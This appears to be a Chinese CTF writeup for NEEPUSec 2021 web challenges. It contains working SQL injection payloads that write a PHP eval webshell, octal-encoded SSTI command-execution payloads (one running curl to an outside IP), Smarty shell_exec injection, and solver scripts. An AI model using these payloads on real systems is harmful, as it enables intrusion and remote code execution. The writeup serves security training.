NEEPUSec CTF 2021 公开赛官方writeup

linux

image-20210527201614132

随便注2.0

return preg_match("/select|update|delete|drop|insert|where|rename|set|handler|char|\*| |	|\./i",$inject);
3";%20show%20databases;%23

0';%09show%09tables;#

1';PREPARE hacker from concat(char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,49,50,51,93,41,32,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,49,46,112,104,112,39
));EXECUTE hacker;
0';table%09information_schema.schemata;%23

0';table%20users%20limit%201;%23

-1%09union%09values%09row(1,2)%23

/usr/share/nginx/html

0'%0ainto%0aoutfile%0a"/usr/share/nginx/html/1"%0alines%0astarting%0aby%0a"<?php%0aphpinfo()%0a?>";%23

''/usr/share/nginx/html/1'%20lines%20starting%20by%20'';...'

0'%20or%201='1
0'%0aor%0a1=1%23

3';%0ashow%0adatabases;%23

0'%0ainto%0aoutfile%0a"/usr/share/nginx/html/1"%0alines%0astarting%0aby%0a"<?php%0aphpinfo()%0a?>";%23

0';%0ashow%0atables;#
0';%0ashow%0atables;%23

array(1) {
[0]=>
string(19) "@Neepu2021招新赛"
}

array(1) {
[0]=>
string(5) "words"
}

1';show%0acolumns%0afrom%0awords;%23

1';show%0acolumns%0afrom%0a`@Neepu2021招新赛`;%23

1';table%0ausers%0alimit%0a1;%23

-1'%0aunion%0avalues%0arow(1);%23

1'%0ainto%0aoutfile%0a'/usr/share/nginx/html/1'%0afields%0aterminated%0aby%0a0x3c3f70687020706870696e666f28293b3f3e;%23

1'%0aand%0aextractvalue(0,concat(0x7e,isnull(LOAD_FILE('/flag')),0x7e),0);%23

1'%0aand%0aextractvalue(1,concat(0x7e,isnull(LOAD_FILE('/flag'))))%23

PREPARE hacker from (REVERSE('1 tceles'));EXECUTE hacker;

1';%0aPREPARE%0ahacker%0afrom%0aconcat('sel','ect','1');EXECUTE%0ahacker;%23

1';PREPARE hacker from concat(char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,49,50,51,93,41,32,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,49,46,112,104,112,39
));EXECUTE hacker;

73656c65637420273c3f706870206576616c28245f504f53545b3132335d29203f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f312e70687027

1';PREPARE%0ahacker%0afrom%0aconcat(UNHEX('73656c65637420273c3f706870206576616c28245f504f53545b3132335d29203f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f312e70687027'));EXECUTE%0ahacker;%23

https://wiki.jikexueyuan.com/project/mysql/useful-functions/string-functions.html#HEX

<html>

<head>
<meta charset="UTF-8">
<title>easy_sql</title>
</head>

<body>
<h1>取材于某次真实环境渗透,只说一句话:开发和安全缺一不可</h1>
<!-- sqlmap是没有灵魂的 -->
<form method="get">
姿势: <input type="text" name="inject" value="1">
<input type="submit">
</form>

<pre>
<?php
function waf1($inject) {
preg_match("/select|update|delete|drop|insert|where|rename|set|handler|char|\*| | |\./i",$inject) && die('return preg_match("/select|update|delete|drop|insert|where|rename|set|handler|char|\*| | |\./i",$inject);');
}

function waf2($inject) {
strstr($inject, "set") && strstr($inject, "prepare") && die('strstr($inject, "set") && strstr($inject, "prepare")');
}

if(isset($_GET['inject'])) {
$id = $_GET['inject'];
waf1($id);
waf2($id);
$mysqli = new mysqli("127.0.0.1","root","root","supersqli");
//多条sql语句
$sql = "select * from `words` where id = '$id';";

$res = $mysqli->multi_query($sql);

if ($res){//使用multi_query()执行一条或多条sql语句
do{
if ($rs = $mysqli->store_result()){//store_result()方法获取第一条sql语句查询结果
while ($row = $rs->fetch_row()){
var_dump($row);
echo "<br>";
}
$rs->Close(); //关闭结果集
if ($mysqli->more_results()){ //判断是否还有更多结果集
echo "<hr>";
}
}
}while($mysqli->next_result()); //next_result()方法获取下一结果集,返回bool值
} else {
echo "error ".$mysqli->errno." : ".$mysqli->error;
}
$mysqli->close(); //关闭数据库连接
}


?>
</pre>

</body>

</html>

官方wp:

0';PREPARE%0cricky%0cfrom%0cconcat('sel','ect%0cflag%0cfrom%0c`@Neepu2021招新赛`');EXECUTE%0cricky;%23

最强大脑

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/5/27 20:01
# @Author : upload
# @File : adadadada.py
# @Software: PyCharm
# !/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/5/22 12:45
# @Author : upload
# @File : 666.py
# @Software: PyCharm

from lxml import etree
import requests
import re
import os

# s = requests.Session()

url = 'http://neepusec.club:18742/'
head = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
# "Cookie": "route-cell=ksa; ASP.NET_SessionId=pouutzlq5bln3mmse24svbtz; SERVERID=d89132ef078a81052172981622f19954|1618809415|1618808958"
}

poy = {
'http': '127.0.0.1:8081'
}

if __name__ == '__main__':
s = requests.Session()
r = s.get(url)
# print(r)
# tree = etree.HTML(r)
#
# num = tree.xpath('/html/body/div/p/text()')
# print(num)
# ['7722539&nbsp-&nbsp4593196&nbsp=&nbsp?']
pipei = '<p>([0-9]*)&nbsp(.)&nbsp([0-9]*).*?</p>'
img_list = re.findall(pipei, r.text, re.S)
print(img_list)
con = img_list[0]
num1 = con[0]
yuns = con[1]
num2 = con[2]
print(num1, yuns, num2)
res = num1 + yuns + num2
ans = eval(res)
print(eval(res))

for i in range(1, 1001):

print(i)
data = {
"answer": ans
}
print(data)
r2 = s.post(url, data=data)
formula = re.search('<p>(.*)</p>', r2.text)
ans = formula.group(1).replace('&nbsp', '').replace('=?', '')
ans = eval(ans)
# if i > 99:
# r2 = s.post(url,data=data,proxies=poy)
# print(r2.text)
# else:
# r2 = s.post(url, data=data)
# print(r2.content)

if 'wrong' in r2.text:
print('有问题')
elif 'success' in r2.text:
print('seuucess')

# print(r2.text)
# if i == 100:
# print(r2.text)
if 'Neepu' in r2.text:
print(r2.text)
break


官方wp:

# -*-coding:utf-8-*-
import requests
import re
import time

url = 'http://neepusec.club:18557/'
sess = requests.session() # 保持session会话, 这样刷的题才会累计
res = sess.get(url=url) # 先通过get传参获取第一道题的参数
result = re.search('<p>(.*)</p>', res.text) # 匹配算式
ans = result.group(1).replace('&nbsp', '').replace('=?', '') # 替换多余的标签为空
ans = eval(ans) # 执行表达式
# print(ans) # test

for i in range(1, 1001): # 跑1000次,拿到 flag 就会停止
data = {
"answer": ans,
}
flag = sess.post(url=url, data=data) # data -> post传参
formula = re.search('<p>(.*)</p>', flag.text) # 匹配算式
ans = formula.group(1).replace('&nbsp', '').replace('=?', '') # 替换多余的标签为空
print(ans)
ans = eval(ans) # 执行表达式
print(ans)
status = re.search('<h3>(.*)</h3>', flag.text) # 返回解题状态
print(f'{i} {status.group(1)}')
try:
flag = re.search('([Nepu]{5}\{(.*)\})', flag.text) # 匹配flag框架
print(f'[+]flag is {flag.group(0)}') # 返回flag
break
except:
continue

The_myth_of_Aladdin

ssti


image-20210522160404561

config|attr("__class__")

过滤了
class _ request init global
{%print("glo""bal")%}
wish={%print(self)%}

{{config|attr("__class__")|attr("__init__")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("cat fla*")|attr("read")()}}

wish={%print(self)|attr("__cla""ss__")%}


The_myth_of_Aladdin

知识点: SSTI 模板注入, 八进制绕过, cut 截断读取文件

探测是否存在 SSTI

{%print(7-5)%}

然后测试发现禁用了很多类, 可以使用双引号, 尝试后发现八进制可以注入

{%print(()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[95]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\137\137\151\155\160\157\162\164\137\137"]("o""s")["\160\157\160\145\156"]("ls")["\162\145\141\144"]())%}

发现空格被禁用,尝试用%09代替,注入后读取根目录的 flag

{%print(()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[95]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\137\137\151\155\160\157\162\164\137\137"]("o""s")["\160\157\160\145\156"]("ls%09/")["\162\145\141\144"]())%}

发现一些指令和 flag 文件名被禁用,尝试字符串拼接读取,发现还是被过滤了

20210524020113611

猜测是匹配了flag的框架 Neepu{ ,尝试用 cut 截断数组带出

{%print(()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[95]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\137\137\151\155\160\157\162\164\137\137"]("o""s")["\160\157\160\145\156"]("c""ut%09-c%092-40%09/fl""ag")["\162\145\141\144"]())%}

得到 flag

20210424161605584

{%print(()["\137\137\143\154\141\163\163\137\137"]["\137\137\142\141\163\145\137\137"]["\137\137\163\165\142\143\154\141\163\163\145\163\137\137"]()[95]["\137\137\151\156\151\164\137\137"]["\137\137\147\154\157\142\141\154\163\137\137"]["\137\137\142\165\151\154\164\151\156\163\137\137"]["\137\137\151\155\160\157\162\164\137\137"]("o""s")["\160\157\160\145\156"]("/143/165/162/154/40/150/164/164/160/72/57/57/64/67/56/71/64/56/60/56/62/65/60/72/61")["\162\145\141\144"]())%}

gamebox

扫描出来smarty/ 感觉是smarty ssti但是不是!

image-20210522185952324

还真是!

哭了!弱口令都没进去!

a'='0
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/5/28 8:57
# @Author : upload
# @File : web2222.py
# @Software: PyCharm

import requests
from lxml import etree
import re
url = 'http://neepusec.club:18490/index.php'

head = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36",
'Cookie' : "OUTFOX_SEARCH_USER_ID_NCOO=1113594845.3063817; XDEBUG_SESSION=PHPSTORM; session=edb266fd-dd60-4ddf-94e1-8a24708e4612.EfBzsPeg2NAQ4hhtruEENwXei9s; PHPSESSID=3d794484110064ae7d58a36b24efd020"
}


s = requests.Session()
r1 = s.get(url,headers = head)

tree = etree.HTML(r1.text)

pic = tree.xpath('//img[@id="captcha_img"]/@src')
p = './pic/(.*?).jpg'
num = re.findall(p,pic[0],re.S)
print(num[0])



for i in range(1,1000):
print(i)
data = {
'guess' : 'on',
'authcode': num[0]
}
r2 = s.post(url,data,headers=head)
tree2 = etree.HTML(r2.text)

pic2 = tree2.xpath('//img[@id="captcha_img"]/@src')
cshu = tree2.xpath('/html/body/div[3]/div/text()')

p2 = './pic/(.*?).jpg'
try :
num = re.findall(p2,pic2[0],re.S)
except:
print(r2.text)
print(num)
print(cshu[2])












# print(pic)
# print(r1.text)
{$smarty.version}

{phpinfo()}

import re
import requests

url="http://neepusec.club:18943"
s = requests.Session()
#payload = "{{shell_exec(\"\ls\t/\")}}'='0"
payload = "{{shell_exec(\"cat\t/This_is_your_Flag\")}}'='0"
login_data = {"username":payload}
res0 = s.post(url+"/login.php",data = login_data)

res1 = s.get(url+"/index.php")
reg = re.findall('pic\/.*?\.jpg',res1.text)
data={"authcode":reg[0][4:8],"guess":"on"}

for i in range(0,1000):
res3 = s.post(url+"/index.php",data=data)
reg = re.findall('pic\/.*?\.jpg',res3.text)
data={"authcode":reg[0][4:8],"guess":"on"}
if(len(res3.text)!=3287):
print(i)
print(res3.text)
break

upload_club

<title>neepu_sec.club</title>
<body background="bg.jpg">
<font color="green"><h1>Welcome to neepu sec club, try to upload your content :)</h1></font>
<font size = 5><p>Here is <a href="source.php">source</a> and <a href="uploads/sample/sample.txt">sample</a></p></font>
<?php
error_reporting(0);
$uploadclub = (isset($_SERVER['HTTP_X_FORWARDED_FOR']) ? $_SERVER['HTTP_X_FORWARDED_FOR'] : md5($_SERVER['REMOTE_ADDR']));
$uploadclub = basename(str_replace(['.','-','(','`','<'],['','','','',''], $uploadclub));
@mkdir('uploads/'.$uploadclub);
@chdir('uploads/'.$uploadclub);
print_r("Upload: uploads/".$uploadclub);
$check = file_get_contents('php://input');
if(preg_match('/25/', $check)) {
die("<br />No more 25 :(");
}else {
extract($_POST);
foreach ($_POST as $key => $value) {
$key = $value;
}
}
if(isset($_POST['neepu_sec.club'])) {
$content = $key;
if(preg_match('/iconv|UCS|UTF|rot|quoted|base64|zlib|string|tripledes|ini|htaccess|\\|#|\<\?/i', $content)) {
die('<br />hacker!!!');
}
$content = str_replace('.php','neepu',$content);
$content = str_replace('.phtml','neepu',$content);
file_put_contents($content,'<?php exit();'.$content);
chdir('..');
if(!stripos(file_get_contents($content),'<?') && !stripos(file_get_contents($content),'php')) {
require_once($content);
}
}else {
chdir(__DIR__);
@rmdir('uploads/'.$uploadclub);
}
?>

官方wp

https://www.anquanke.com/post/id/242237#h3-12